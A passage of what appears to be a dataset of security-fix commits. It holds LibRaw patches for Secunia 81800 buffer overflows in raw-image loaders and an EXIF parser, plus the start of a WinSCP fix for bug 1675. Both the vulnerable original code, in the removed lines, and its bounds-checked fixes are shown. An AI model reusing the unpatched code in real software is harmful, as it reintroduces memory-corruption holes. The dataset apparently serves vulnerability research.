\tcase 1: len[c]++;\n }\n- for (c=0; c < 16; c+=2) {\n-\ti = len[((c & 1) << 1) | (c >> 3)];\n- RAW(row,col+c) = ((signed) ph1_bits(i) << (32-i) >> (32-i)) +\n-\t (dir ? RAW(row+(~c | -2),col+c) : col ? RAW(row,col+(c | -2)) : 128);\n-\tif (c == 14) c = -1;\n+ for (c = 0; c < 16; c += 2)\n+ {\n+ i = len[((c & 1) << 1) | (c >> 3)];\n+\tunsigned idest = RAWINDEX(row, col + c);\n+\tunsigned isrc = (dir ? RAWINDEX(row + (~c | -2), col + c) : col ? RAWINDEX(row, col + (c | -2)) : 0);\n+\tif(idest < maxpixels && isrc < maxpixels) // less than zero is handled by unsigned conversion\n+ \tRAW(row, col + c) = ((signed)ph1_bits(i) << (32 - i) >> (32 - i)) + \t\t\t (dir ? RAW(row + (~c | -2), col + c) : col ? RAW(row, col + (c | -2)) : 128);\n+\telse\n+ \t derror();\n+ if (c == 14)\n+ c = -1;\n }\n }\n }\n@@ -11081,37 +11106,68 @@ void CLASS parse_exif (int base)\n if (((make[0] == '\\0') && (!strncmp(model, \"ov5647\",6))) ||\n ((!strncmp(make, \"RaspberryPi\",11)) && (!strncmp(model, \"RP_OV5647\",9))) ||\n ((!strncmp(make, \"RaspberryPi\",11)) && (!strncmp(model, \"RP_imx219\",9)))) {\n- char mn_text[512];\n- char* pos;\n- char ccms[512];\n- ushort l;\n- float num;\n-\n- fgets(mn_text, len, ifp);\n- pos = strstr(mn_text, \"gain_r=\");\n- if (pos) cam_mul[0] = atof(pos+7);\n- pos = strstr(mn_text, \"gain_b=\");\n- if (pos) cam_mul[2] = atof(pos+7);\n- if ((cam_mul[0] > 0.001f) && (cam_mul[2] > 0.001f)) cam_mul[1] = cam_mul[3] = 1.0f;\n- else cam_mul[0] = cam_mul[2] = 0.0f;\n-\n- pos = strstr(mn_text, \"ccm=\") + 4;\n- l = strstr(pos, \" \") - pos;\n- memcpy (ccms, pos, l);\n- ccms[l] = '\\0';\n-\n- pos = strtok (ccms, \",\");\n- for (l=0; l<4; l++) {\n- num = 0.0;\n- for (c=0; c<3; c++) {\n- imgdata.color.ccm[l][c] = (float)atoi(pos);\n- num += imgdata.color.ccm[l][c];\n- pos = strtok (NULL, \",\");\n- }\n- if (num > 0.01) FORC3 imgdata.color.ccm[l][c] = imgdata.color.ccm[l][c] / num;\n- }\n+ char mn_text[512];\n+ char *pos;\n+ char ccms[512];\n+ ushort l;\n+ float num;\n+\n+\tfgets(mn_text, MIN(len,511), ifp);\n+ mn_text[511] = 0;\n+\n+ pos = strstr(mn_text, \"gain_r=\");\n+ if (pos)\n+ cam_mul[0] = atof(pos + 7);\n+ pos = strstr(mn_text, \"gain_b=\");\n+ if (pos)\n+ cam_mul[2] = atof(pos + 7);\n+ if ((cam_mul[0] > 0.001f) && (cam_mul[2] > 0.001f))\n+ cam_mul[1] = cam_mul[3] = 1.0f;\n+ else\n+ cam_mul[0] = cam_mul[2] = 0.0f;\n+\n+ pos = strstr(mn_text, \"ccm=\");\n+ if(pos)\n+ {\n+ pos +=4;\n+ char *pos2 = strstr(pos, \" \");\n+ if(pos2)\n+ {\n+ l = pos2 - pos;\n+ memcpy(ccms, pos, l);\n+ ccms[l] = '\\0';\n+#if defined WIN32 || defined(__MINGW32__)\n+ // Win32 strtok is already thread-safe\n+ pos = strtok(ccms, \",\");\n+#else\n+ char *last=0;\n+ pos = strtok_r(ccms, \",\",&last);\n+#endif\n+ if(pos)\n+ {\n+ for (l = 0; l < 4; l++)\n+ {\n+ num = 0.0;\n+ for (c = 0; c < 3; c++)\n+ {\n+ imgdata.color.ccm[l][c] = (float)atoi(pos);\n+ num += imgdata.color.ccm[l][c];\n+#if defined WIN32 || defined(__MINGW32__)\n+ pos = strtok(NULL, \",\");\n+#else\n+ pos = strtok_r(NULL, \",\",&last);\n+#endif\n+ if(!pos) goto end; // broken\n+ }\n+ if (num > 0.01)\n+ FORC3 imgdata.color.ccm[l][c] = imgdata.color.ccm[l][c] / num;\n+ }\n+ }\n+ }\n }\n- else\n+ end:;\n+ }\n+ else\n #endif\n parse_makernote (base, 0);\n break;\n@@ -15077,7 +15133,8 @@ float CLASS find_green (int bps, int bite, int off0, int off1)\n UINT64 bitbuf=0;\n int vbits, col, i, c;\n ushort img[2][2064];\n- double sum[]={0,0};\n+ double sum[] = {0, 0};\n+ if(width > 2064) return 0.f; // too wide\n \n FORC(2) {\n fseek (ifp, c ? off1:off0, SEEK_SET);\n@@ -15100,14 +15157,16 @@ float CLASS find_green (int bps, int bite, int off0, int off1)\n #ifdef LIBRAW_LIBRARY_BUILD\n static void remove_trailing_spaces(char *string, size_t len)\n {\n- if(len<1) return; // not needed, b/c sizeof of make/model is 64\n- string[len-1]=0;\n- if(len<3) return; // also not needed\n- len = strnlen(string,len-1);\n- for(int i=len-1; i>=0; i--)\n+ if (len < 1)\n+ return; // not needed, b/c sizeof of make/model is 64\n+ string[len - 1] = 0;\n+ if (len < 3)\n+ return; // also not needed\n+ len = strnlen(string, len - 1);\n+ for (int i = len - 1; i >= 0; i--)\n {\n- if(isspace(string[i]))\n- string[i]=0;\n+ if (isspace((unsigned char)string[i]))\n+ string[i] = 0;\n else\n break;\n }", "sections": [{"section": "@@ -251,6 +251,7 @@ static float fMAX(float a, float b)\n \t3 G R G R G R\t3 B G B G B G\t3 R G R G R G\t3 G B G B G B\n */\n \n+#define RAWINDEX(row, col) ((row)*raw_width + (col))\n #define RAW(row,col) \\\n \traw_image[(row)*raw_width+(col)]\n //@end DEFINES\n", "related": false}, {"section": "@@ -1511,9 +1512,14 @@ void CLASS pentax_load_raw()\n \n void CLASS nikon_coolscan_load_raw()\n {\n- int bufsize = width*3*tiff_bps/8;\n- if(tiff_bps <= 8)\n- gamma_curve(1.0/imgdata.params.coolscan_nef_gamma,0.,1,255);\n+ if(!image)\n+ throw LIBRAW_EXCEPTION_IO_CORRUPT;\n+\n+ int bypp = tiff_bps <= 8 ? 1 : 2;\n+ int bufsize = width * 3 * bypp;\n+\n+ if (tiff_bps <= 8)\n+ gamma_curve(1.0 / imgdata.params.coolscan_nef_gamma, 0., 1, 255);\n else\n gamma_curve(1.0/imgdata.params.coolscan_nef_gamma,0.,1,65535);\n fseek (ifp, data_offset, SEEK_SET);\n", "related": false}, {"section": "@@ -1794,7 +1800,12 @@ void CLASS rollei_thumb()\n void CLASS rollei_load_raw()\n {\n uchar pixel[10];\n- unsigned iten=0, isix, i, buffer=0, todo[16];\n+ unsigned iten = 0, isix, i, buffer = 0, todo[16];\n+#ifdef LIBRAW_LIBRARY_BUILD\n+ if(raw_width > 32767 || raw_height > 32767)\n+ throw LIBRAW_EXCEPTION_IO_BADFILE;\n+#endif\n+ unsigned maxpixel = raw_width*(raw_height+7);\n \n isix = raw_width * raw_height * 5 / 8;\n while (fread (pixel, 1, 10, ifp) == 10) {\n", "related": false}, {"section": "@@ -1810,8 +1821,11 @@ void CLASS rollei_load_raw()\n todo[i] = isix++;\n todo[i+1] = buffer >> (14-i)*5;\n }\n- for (i=0; i < 16; i+=2)\n- raw_image[todo[i]] = (todo[i+1] & 0x3ff);\n+ for (i = 0; i < 16; i += 2)\n+ if(todo[i] < maxpixel)\n+ raw_image[todo[i]] = (todo[i + 1] & 0x3ff);\n+ else\n+ derror();\n }\n maximum = 0x3ff;\n }\n", "related": false}, {"section": "@@ -3857,6 +3871,11 @@ void CLASS sony_arw2_load_raw()\n void CLASS samsung_load_raw()\n {\n int row, col, c, i, dir, op[4], len[4];\n+#ifdef LIBRAW_LIBRARY_BUILD\n+ if(raw_width> 32768 || raw_height > 32768) // definitely too much for old samsung\n+ throw LIBRAW_EXCEPTION_IO_BADFILE;\n+#endif\n+ unsigned maxpixels = raw_width*(raw_height+7);\n \n order = 0x4949;\n for (row=0; row < raw_height; row++) {\n", "related": false}, {"section": "@@ -3875,11 +3894,17 @@ void CLASS samsung_load_raw()\n \tcase 2: len[c]--;\t\tbreak;\n \tcase 1: len[c]++;\n }\n- for (c=0; c < 16; c+=2) {\n-\ti = len[((c & 1) << 1) | (c >> 3)];\n- RAW(row,col+c) = ((signed) ph1_bits(i) << (32-i) >> (32-i)) +\n-\t (dir ? RAW(row+(~c | -2),col+c) : col ? RAW(row,col+(c | -2)) : 128);\n-\tif (c == 14) c = -1;\n+ for (c = 0; c < 16; c += 2)\n+ {\n+ i = len[((c & 1) << 1) | (c >> 3)];\n+\tunsigned idest = RAWINDEX(row, col + c);\n+\tunsigned isrc = (dir ? RAWINDEX(row + (~c | -2), col + c) : col ? RAWINDEX(row, col + (c | -2)) : 0);\n+\tif(idest < maxpixels && isrc < maxpixels) // less than zero is handled by unsigned conversion\n+ \tRAW(row, col + c) = ((signed)ph1_bits(i) << (32 - i) >> (32 - i)) + \t\t\t (dir ? RAW(row + (~c | -2), col + c) : col ? RAW(row, col + (c | -2)) : 128);\n+\telse\n+ \t derror();\n+ if (c == 14)\n+ c = -1;\n }\n }\n }\n", "related": false}, {"section": "@@ -11081,37 +11106,68 @@ void CLASS parse_exif (int base)\n if (((make[0] == '\\0') && (!strncmp(model, \"ov5647\",6))) ||\n ((!strncmp(make, \"RaspberryPi\",11)) && (!strncmp(model, \"RP_OV5647\",9))) ||\n ((!strncmp(make, \"RaspberryPi\",11)) && (!strncmp(model, \"RP_imx219\",9)))) {\n- char mn_text[512];\n- char* pos;\n- char ccms[512];\n- ushort l;\n- float num;\n-\n- fgets(mn_text, len, ifp);\n- pos = strstr(mn_text, \"gain_r=\");\n- if (pos) cam_mul[0] = atof(pos+7);\n- pos = strstr(mn_text, \"gain_b=\");\n- if (pos) cam_mul[2] = atof(pos+7);\n- if ((cam_mul[0] > 0.001f) && (cam_mul[2] > 0.001f)) cam_mul[1] = cam_mul[3] = 1.0f;\n- else cam_mul[0] = cam_mul[2] = 0.0f;\n-\n- pos = strstr(mn_text, \"ccm=\") + 4;\n- l = strstr(pos, \" \") - pos;\n- memcpy (ccms, pos, l);\n- ccms[l] = '\\0';\n-\n- pos = strtok (ccms, \",\");\n- for (l=0; l<4; l++) {\n- num = 0.0;\n- for (c=0; c<3; c++) {\n- imgdata.color.ccm[l][c] = (float)atoi(pos);\n- num += imgdata.color.ccm[l][c];\n- pos = strtok (NULL, \",\");\n- }\n- if (num > 0.01) FORC3 imgdata.color.ccm[l][c] = imgdata.color.ccm[l][c] / num;\n- }\n+ char mn_text[512];\n+ char *pos;\n+ char ccms[512];\n+ ushort l;\n+ float num;\n+\n+\tfgets(mn_text, MIN(len,511), ifp);\n+ mn_text[511] = 0;\n+\n+ pos = strstr(mn_text, \"gain_r=\");\n+ if (pos)\n+ cam_mul[0] = atof(pos + 7);\n+ pos = strstr(mn_text, \"gain_b=\");\n+ if (pos)\n+ cam_mul[2] = atof(pos + 7);\n+ if ((cam_mul[0] > 0.001f) && (cam_mul[2] > 0.001f))\n+ cam_mul[1] = cam_mul[3] = 1.0f;\n+ else\n+ cam_mul[0] = cam_mul[2] = 0.0f;\n+\n+ pos = strstr(mn_text, \"ccm=\");\n+ if(pos)\n+ {\n+ pos +=4;\n+ char *pos2 = strstr(pos, \" \");\n+ if(pos2)\n+ {\n+ l = pos2 - pos;\n+ memcpy(ccms, pos, l);\n+ ccms[l] = '\\0';\n+#if defined WIN32 || defined(__MINGW32__)\n+ // Win32 strtok is already thread-safe\n+ pos = strtok(ccms, \",\");\n+#else\n+ char *last=0;\n+ pos = strtok_r(ccms, \",\",&last);\n+#endif\n+ if(pos)\n+ {\n+ for (l = 0; l < 4; l++)\n+ {\n+ num = 0.0;\n+ for (c = 0; c < 3; c++)\n+ {\n+ imgdata.color.ccm[l][c] = (float)atoi(pos);\n+ num += imgdata.color.ccm[l][c];\n+#if defined WIN32 || defined(__MINGW32__)\n+ pos = strtok(NULL, \",\");\n+#else\n+ pos = strtok_r(NULL, \",\",&last);\n+#endif\n+ if(!pos) goto end; // broken\n+ }\n+ if (num > 0.01)\n+ FORC3 imgdata.color.ccm[l][c] = imgdata.color.ccm[l][c] / num;\n+ }\n+ }\n+ }\n }\n- else\n+ end:;\n+ }\n+ else\n #endif\n parse_makernote (base, 0);\n break;\n", "related": false}, {"section": "@@ -15077,7 +15133,8 @@ float CLASS find_green (int bps, int bite, int off0, int off1)\n UINT64 bitbuf=0;\n int vbits, col, i, c;\n ushort img[2][2064];\n- double sum[]={0,0};\n+ double sum[] = {0, 0};\n+ if(width > 2064) return 0.f; // too wide\n \n FORC(2) {\n fseek (ifp, c ? off1:off0, SEEK_SET);\n", "related": false}, {"section": "@@ -15100,14 +15157,16 @@ float CLASS find_green (int bps, int bite, int off0, int off1)\n #ifdef LIBRAW_LIBRARY_BUILD\n static void remove_trailing_spaces(char *string, size_t len)\n {\n- if(len<1) return; // not needed, b/c sizeof of make/model is 64\n- string[len-1]=0;\n- if(len<3) return; // also not needed\n- len = strnlen(string,len-1);\n- for(int i=len-1; i>=0; i--)\n+ if (len < 1)\n+ return; // not needed, b/c sizeof of make/model is 64\n+ string[len - 1] = 0;\n+ if (len < 3)\n+ return; // also not needed\n+ len = strnlen(string, len - 1);\n+ for (int i = len - 1; i >= 0; i--)\n {\n- if(isspace(string[i]))\n- string[i]=0;\n+ if (isspace((unsigned char)string[i]))\n+ string[i] = 0;\n else\n break;\n }", "related": false}]} +{"owner": "libraw", "repo": "libraw", "language": "C++", "file_name": "internal/dcraw_common.cpp", "commit_id": "fd6330292501983ac75fe4162275794b18445bd9", "commit_message": "Secunia 81800#1: samsumg_load_raw\n\nSecunia 81800#2: find_green\n\nSecunia 81800#3: rollei_load_raw\n\nremove_trailing_spaces: isspace() does not works right with signed non-latin chars\n\nSecunia 81800#5/6: nikon_coolscan_load_raw\n\nSecunia 81800#4: rollei_load_raw", "patch": "@@ -1228,9 +1228,14 @@ void CLASS pentax_load_raw()\n \n void CLASS nikon_coolscan_load_raw()\n {\n- int bufsize = width*3*tiff_bps/8;\n- if(tiff_bps <= 8)\n- gamma_curve(1.0/imgdata.params.coolscan_nef_gamma,0.,1,255);\n+ if(!image)\n+ throw LIBRAW_EXCEPTION_IO_CORRUPT;\n+\n+ int bypp = tiff_bps <= 8 ? 1 : 2;\n+ int bufsize = width * 3 * bypp;\n+\n+ if (tiff_bps <= 8)\n+ gamma_curve(1.0 / imgdata.params.coolscan_nef_gamma, 0., 1, 255);\n else\n gamma_curve(1.0/imgdata.params.coolscan_nef_gamma,0.,1,65535);\n fseek (ifp, data_offset, SEEK_SET);\n@@ -1506,7 +1511,12 @@ void CLASS rollei_thumb()\n void CLASS rollei_load_raw()\n {\n uchar pixel[10];\n- unsigned iten=0, isix, i, buffer=0, todo[16];\n+ unsigned iten = 0, isix, i, buffer = 0, todo[16];\n+#ifdef LIBRAW_LIBRARY_BUILD\n+ if(raw_width > 32767 || raw_height > 32767)\n+ throw LIBRAW_EXCEPTION_IO_BADFILE;\n+#endif\n+ unsigned maxpixel = raw_width*(raw_height+7);\n \n isix = raw_width * raw_height * 5 / 8;\n while (fread (pixel, 1, 10, ifp) == 10) {\n@@ -1522,8 +1532,11 @@ void CLASS rollei_load_raw()\n todo[i] = isix++;\n todo[i+1] = buffer >> (14-i)*5;\n }\n- for (i=0; i < 16; i+=2)\n- raw_image[todo[i]] = (todo[i+1] & 0x3ff);\n+ for (i = 0; i < 16; i += 2)\n+ if(todo[i] < maxpixel)\n+ raw_image[todo[i]] = (todo[i + 1] & 0x3ff);\n+ else\n+ derror();\n }\n maximum = 0x3ff;\n }\n@@ -3569,6 +3582,11 @@ void CLASS sony_arw2_load_raw()\n void CLASS samsung_load_raw()\n {\n int row, col, c, i, dir, op[4], len[4];\n+#ifdef LIBRAW_LIBRARY_BUILD\n+ if(raw_width> 32768 || raw_height > 32768) // definitely too much for old samsung\n+ throw LIBRAW_EXCEPTION_IO_BADFILE;\n+#endif\n+ unsigned maxpixels = raw_width*(raw_height+7);\n \n order = 0x4949;\n for (row=0; row < raw_height; row++) {\n@@ -3587,11 +3605,17 @@ void CLASS samsung_load_raw()\n \tcase 2: len[c]--;\t\tbreak;\n \tcase 1: len[c]++;\n }\n- for (c=0; c < 16; c+=2) {\n-\ti = len[((c & 1) << 1) | (c >> 3)];\n- RAW(row,col+c) = ((signed) ph1_bits(i) << (32-i) >> (32-i)) +\n-\t (dir ? RAW(row+(~c | -2),col+c) : col ? RAW(row,col+(c | -2)) : 128);\n-\tif (c == 14) c = -1;\n+ for (c = 0; c < 16; c += 2)\n+ {\n+ i = len[((c & 1) << 1) | (c >> 3)];\n+\tunsigned idest = RAWINDEX(row, col + c);\n+\tunsigned isrc = (dir ? RAWINDEX(row + (~c | -2), col + c) : col ? RAWINDEX(row, col + (c | -2)) : 0);\n+\tif(idest < maxpixels && isrc < maxpixels) // less than zero is handled by unsigned conversion\n+ \tRAW(row, col + c) = ((signed)ph1_bits(i) << (32 - i) >> (32 - i)) + \t\t\t (dir ? RAW(row + (~c | -2), col + c) : col ? RAW(row, col + (c | -2)) : 128);\n+\telse\n+ \t derror();\n+ if (c == 14)\n+ c = -1;\n }\n }\n }\n@@ -9890,37 +9914,68 @@ void CLASS parse_exif (int base)\n if (((make[0] == '\\0') && (!strncmp(model, \"ov5647\",6))) ||\n ((!strncmp(make, \"RaspberryPi\",11)) && (!strncmp(model, \"RP_OV5647\",9))) ||\n ((!strncmp(make, \"RaspberryPi\",11)) && (!strncmp(model, \"RP_imx219\",9)))) {\n- char mn_text[512];\n- char* pos;\n- char ccms[512];\n- ushort l;\n- float num;\n-\n- fgets(mn_text, len, ifp);\n- pos = strstr(mn_text, \"gain_r=\");\n- if (pos) cam_mul[0] = atof(pos+7);\n- pos = strstr(mn_text, \"gain_b=\");\n- if (pos) cam_mul[2] = atof(pos+7);\n- if ((cam_mul[0] > 0.001f) && (cam_mul[2] > 0.001f)) cam_mul[1] = cam_mul[3] = 1.0f;\n- else cam_mul[0] = cam_mul[2] = 0.0f;\n-\n- pos = strstr(mn_text, \"ccm=\") + 4;\n- l = strstr(pos, \" \") - pos;\n- memcpy (ccms, pos, l);\n- ccms[l] = '\\0';\n-\n- pos = strtok (ccms, \",\");\n- for (l=0; l<4; l++) {\n- num = 0.0;\n- for (c=0; c<3; c++) {\n- imgdata.color.ccm[l][c] = (float)atoi(pos);\n- num += imgdata.color.ccm[l][c];\n- pos = strtok (NULL, \",\");\n- }\n- if (num > 0.01) FORC3 imgdata.color.ccm[l][c] = imgdata.color.ccm[l][c] / num;\n- }\n+ char mn_text[512];\n+ char *pos;\n+ char ccms[512];\n+ ushort l;\n+ float num;\n+\n+\tfgets(mn_text, MIN(len,511), ifp);\n+ mn_text[511] = 0;\n+\n+ pos = strstr(mn_text, \"gain_r=\");\n+ if (pos)\n+ cam_mul[0] = atof(pos + 7);\n+ pos = strstr(mn_text, \"gain_b=\");\n+ if (pos)\n+ cam_mul[2] = atof(pos + 7);\n+ if ((cam_mul[0] > 0.001f) && (cam_mul[2] > 0.001f))\n+ cam_mul[1] = cam_mul[3] = 1.0f;\n+ else\n+ cam_mul[0] = cam_mul[2] = 0.0f;\n+\n+ pos = strstr(mn_text, \"ccm=\");\n+ if(pos)\n+ {\n+ pos +=4;\n+ char *pos2 = strstr(pos, \" \");\n+ if(pos2)\n+ {\n+ l = pos2 - pos;\n+ memcpy(ccms, pos, l);\n+ ccms[l] = '\\0';\n+#if defined WIN32 || defined(__MINGW32__)\n+ // Win32 strtok is already thread-safe\n+ pos = strtok(ccms, \",\");\n+#else\n+ char *last=0;\n+ pos = strtok_r(ccms, \",\",&last);\n+#endif\n+ if(pos)\n+ {\n+ for (l = 0; l < 4; l++)\n+ {\n+ num = 0.0;\n+ for (c = 0; c < 3; c++)\n+ {\n+ imgdata.color.ccm[l][c] = (float)atoi(pos);\n+ num += imgdata.color.ccm[l][c];\n+#if defined WIN32 || defined(__MINGW32__)\n+ pos = strtok(NULL, \",\");\n+#else\n+ pos = strtok_r(NULL, \",\",&last);\n+#endif\n+ if(!pos) goto end; // broken\n+ }\n+ if (num > 0.01)\n+ FORC3 imgdata.color.ccm[l][c] = imgdata.color.ccm[l][c] / num;\n+ }\n+ }\n+ }\n }\n- else\n+ end:;\n+ }\n+ else\n #endif\n parse_makernote (base, 0);\n break;\n@@ -13739,7 +13794,8 @@ float CLASS find_green (int bps, int bite, int off0, int off1)\n UINT64 bitbuf=0;\n int vbits, col, i, c;\n ushort img[2][2064];\n- double sum[]={0,0};\n+ double sum[] = {0, 0};\n+ if(width > 2064) return 0.f; // too wide\n \n FORC(2) {\n fseek (ifp, c ? off1:off0, SEEK_SET);\n@@ -13762,14 +13818,16 @@ float CLASS find_green (int bps, int bite, int off0, int off1)\n #ifdef LIBRAW_LIBRARY_BUILD\n static void remove_trailing_spaces(char *string, size_t len)\n {\n- if(len<1) return; // not needed, b/c sizeof of make/model is 64\n- string[len-1]=0;\n- if(len<3) return; // also not needed\n- len = strnlen(string,len-1);\n- for(int i=len-1; i>=0; i--)\n+ if (len < 1)\n+ return; // not needed, b/c sizeof of make/model is 64\n+ string[len - 1] = 0;\n+ if (len < 3)\n+ return; // also not needed\n+ len = strnlen(string, len - 1);\n+ for (int i = len - 1; i >= 0; i--)\n {\n- if(isspace(string[i]))\n- string[i]=0;\n+ if (isspace((unsigned char)string[i]))\n+ string[i] = 0;\n else\n break;\n }", "sections": [{"section": "@@ -1228,9 +1228,14 @@ void CLASS pentax_load_raw()\n \n void CLASS nikon_coolscan_load_raw()\n {\n- int bufsize = width*3*tiff_bps/8;\n- if(tiff_bps <= 8)\n- gamma_curve(1.0/imgdata.params.coolscan_nef_gamma,0.,1,255);\n+ if(!image)\n+ throw LIBRAW_EXCEPTION_IO_CORRUPT;\n+\n+ int bypp = tiff_bps <= 8 ? 1 : 2;\n+ int bufsize = width * 3 * bypp;\n+\n+ if (tiff_bps <= 8)\n+ gamma_curve(1.0 / imgdata.params.coolscan_nef_gamma, 0., 1, 255);\n else\n gamma_curve(1.0/imgdata.params.coolscan_nef_gamma,0.,1,65535);\n fseek (ifp, data_offset, SEEK_SET);\n", "related": false}, {"section": "@@ -1506,7 +1511,12 @@ void CLASS rollei_thumb()\n void CLASS rollei_load_raw()\n {\n uchar pixel[10];\n- unsigned iten=0, isix, i, buffer=0, todo[16];\n+ unsigned iten = 0, isix, i, buffer = 0, todo[16];\n+#ifdef LIBRAW_LIBRARY_BUILD\n+ if(raw_width > 32767 || raw_height > 32767)\n+ throw LIBRAW_EXCEPTION_IO_BADFILE;\n+#endif\n+ unsigned maxpixel = raw_width*(raw_height+7);\n \n isix = raw_width * raw_height * 5 / 8;\n while (fread (pixel, 1, 10, ifp) == 10) {\n", "related": false}, {"section": "@@ -1522,8 +1532,11 @@ void CLASS rollei_load_raw()\n todo[i] = isix++;\n todo[i+1] = buffer >> (14-i)*5;\n }\n- for (i=0; i < 16; i+=2)\n- raw_image[todo[i]] = (todo[i+1] & 0x3ff);\n+ for (i = 0; i < 16; i += 2)\n+ if(todo[i] < maxpixel)\n+ raw_image[todo[i]] = (todo[i + 1] & 0x3ff);\n+ else\n+ derror();\n }\n maximum = 0x3ff;\n }\n", "related": false}, {"section": "@@ -3569,6 +3582,11 @@ void CLASS sony_arw2_load_raw()\n void CLASS samsung_load_raw()\n {\n int row, col, c, i, dir, op[4], len[4];\n+#ifdef LIBRAW_LIBRARY_BUILD\n+ if(raw_width> 32768 || raw_height > 32768) // definitely too much for old samsung\n+ throw LIBRAW_EXCEPTION_IO_BADFILE;\n+#endif\n+ unsigned maxpixels = raw_width*(raw_height+7);\n \n order = 0x4949;\n for (row=0; row < raw_height; row++) {\n", "related": false}, {"section": "@@ -3587,11 +3605,17 @@ void CLASS samsung_load_raw()\n \tcase 2: len[c]--;\t\tbreak;\n \tcase 1: len[c]++;\n }\n- for (c=0; c < 16; c+=2) {\n-\ti = len[((c & 1) << 1) | (c >> 3)];\n- RAW(row,col+c) = ((signed) ph1_bits(i) << (32-i) >> (32-i)) +\n-\t (dir ? RAW(row+(~c | -2),col+c) : col ? RAW(row,col+(c | -2)) : 128);\n-\tif (c == 14) c = -1;\n+ for (c = 0; c < 16; c += 2)\n+ {\n+ i = len[((c & 1) << 1) | (c >> 3)];\n+\tunsigned idest = RAWINDEX(row, col + c);\n+\tunsigned isrc = (dir ? RAWINDEX(row + (~c | -2), col + c) : col ? RAWINDEX(row, col + (c | -2)) : 0);\n+\tif(idest < maxpixels && isrc < maxpixels) // less than zero is handled by unsigned conversion\n+ \tRAW(row, col + c) = ((signed)ph1_bits(i) << (32 - i) >> (32 - i)) + \t\t\t (dir ? RAW(row + (~c | -2), col + c) : col ? RAW(row, col + (c | -2)) : 128);\n+\telse\n+ \t derror();\n+ if (c == 14)\n+ c = -1;\n }\n }\n }\n", "related": false}, {"section": "@@ -9890,37 +9914,68 @@ void CLASS parse_exif (int base)\n if (((make[0] == '\\0') && (!strncmp(model, \"ov5647\",6))) ||\n ((!strncmp(make, \"RaspberryPi\",11)) && (!strncmp(model, \"RP_OV5647\",9))) ||\n ((!strncmp(make, \"RaspberryPi\",11)) && (!strncmp(model, \"RP_imx219\",9)))) {\n- char mn_text[512];\n- char* pos;\n- char ccms[512];\n- ushort l;\n- float num;\n-\n- fgets(mn_text, len, ifp);\n- pos = strstr(mn_text, \"gain_r=\");\n- if (pos) cam_mul[0] = atof(pos+7);\n- pos = strstr(mn_text, \"gain_b=\");\n- if (pos) cam_mul[2] = atof(pos+7);\n- if ((cam_mul[0] > 0.001f) && (cam_mul[2] > 0.001f)) cam_mul[1] = cam_mul[3] = 1.0f;\n- else cam_mul[0] = cam_mul[2] = 0.0f;\n-\n- pos = strstr(mn_text, \"ccm=\") + 4;\n- l = strstr(pos, \" \") - pos;\n- memcpy (ccms, pos, l);\n- ccms[l] = '\\0';\n-\n- pos = strtok (ccms, \",\");\n- for (l=0; l<4; l++) {\n- num = 0.0;\n- for (c=0; c<3; c++) {\n- imgdata.color.ccm[l][c] = (float)atoi(pos);\n- num += imgdata.color.ccm[l][c];\n- pos = strtok (NULL, \",\");\n- }\n- if (num > 0.01) FORC3 imgdata.color.ccm[l][c] = imgdata.color.ccm[l][c] / num;\n- }\n+ char mn_text[512];\n+ char *pos;\n+ char ccms[512];\n+ ushort l;\n+ float num;\n+\n+\tfgets(mn_text, MIN(len,511), ifp);\n+ mn_text[511] = 0;\n+\n+ pos = strstr(mn_text, \"gain_r=\");\n+ if (pos)\n+ cam_mul[0] = atof(pos + 7);\n+ pos = strstr(mn_text, \"gain_b=\");\n+ if (pos)\n+ cam_mul[2] = atof(pos + 7);\n+ if ((cam_mul[0] > 0.001f) && (cam_mul[2] > 0.001f))\n+ cam_mul[1] = cam_mul[3] = 1.0f;\n+ else\n+ cam_mul[0] = cam_mul[2] = 0.0f;\n+\n+ pos = strstr(mn_text, \"ccm=\");\n+ if(pos)\n+ {\n+ pos +=4;\n+ char *pos2 = strstr(pos, \" \");\n+ if(pos2)\n+ {\n+ l = pos2 - pos;\n+ memcpy(ccms, pos, l);\n+ ccms[l] = '\\0';\n+#if defined WIN32 || defined(__MINGW32__)\n+ // Win32 strtok is already thread-safe\n+ pos = strtok(ccms, \",\");\n+#else\n+ char *last=0;\n+ pos = strtok_r(ccms, \",\",&last);\n+#endif\n+ if(pos)\n+ {\n+ for (l = 0; l < 4; l++)\n+ {\n+ num = 0.0;\n+ for (c = 0; c < 3; c++)\n+ {\n+ imgdata.color.ccm[l][c] = (float)atoi(pos);\n+ num += imgdata.color.ccm[l][c];\n+#if defined WIN32 || defined(__MINGW32__)\n+ pos = strtok(NULL, \",\");\n+#else\n+ pos = strtok_r(NULL, \",\",&last);\n+#endif\n+ if(!pos) goto end; // broken\n+ }\n+ if (num > 0.01)\n+ FORC3 imgdata.color.ccm[l][c] = imgdata.color.ccm[l][c] / num;\n+ }\n+ }\n+ }\n }\n- else\n+ end:;\n+ }\n+ else\n #endif\n parse_makernote (base, 0);\n break;\n", "related": false}, {"section": "@@ -13739,7 +13794,8 @@ float CLASS find_green (int bps, int bite, int off0, int off1)\n UINT64 bitbuf=0;\n int vbits, col, i, c;\n ushort img[2][2064];\n- double sum[]={0,0};\n+ double sum[] = {0, 0};\n+ if(width > 2064) return 0.f; // too wide\n \n FORC(2) {\n fseek (ifp, c ? off1:off0, SEEK_SET);\n", "related": false}, {"section": "@@ -13762,14 +13818,16 @@ float CLASS find_green (int bps, int bite, int off0, int off1)\n #ifdef LIBRAW_LIBRARY_BUILD\n static void remove_trailing_spaces(char *string, size_t len)\n {\n- if(len<1) return; // not needed, b/c sizeof of make/model is 64\n- string[len-1]=0;\n- if(len<3) return; // also not needed\n- len = strnlen(string,len-1);\n- for(int i=len-1; i>=0; i--)\n+ if (len < 1)\n+ return; // not needed, b/c sizeof of make/model is 64\n+ string[len - 1] = 0;\n+ if (len < 3)\n+ return; // also not needed\n+ len = strnlen(string, len - 1);\n+ for (int i = len - 1; i >= 0; i--)\n {\n- if(isspace(string[i]))\n- string[i]=0;\n+ if (isspace((unsigned char)string[i]))\n+ string[i] = 0;\n else\n break;\n }", "related": false}]} +{"owner": "winscp", "repo": "winscp", "language": "C++", "file_name": "source/core/ScpFileSystem.cpp", "commit_id": "49d876f2c5fc00bcedaa986a7cf6dedd6bf16f54", "commit_message": "Bug 1675: Prevent SCP server sending files that were not requested\n\nhttps://winscp.net/tracker/1675\n\nSource commit: 4aa587620973bf793fb6e783052277c0f7be4b55", "patch": "@@ -2361,6 +2361,10 @@ void __fastcall TSCPFileSystem::SCPSink(const UnicodeString TargetDir,\n {\r\n FTerminal->LogEvent(FORMAT(L\"Warning: Remote host set a compound pathname '%s'\", (Line)));\r\n }\r\n+ if ((Level == 0) && (OnlyFileName != 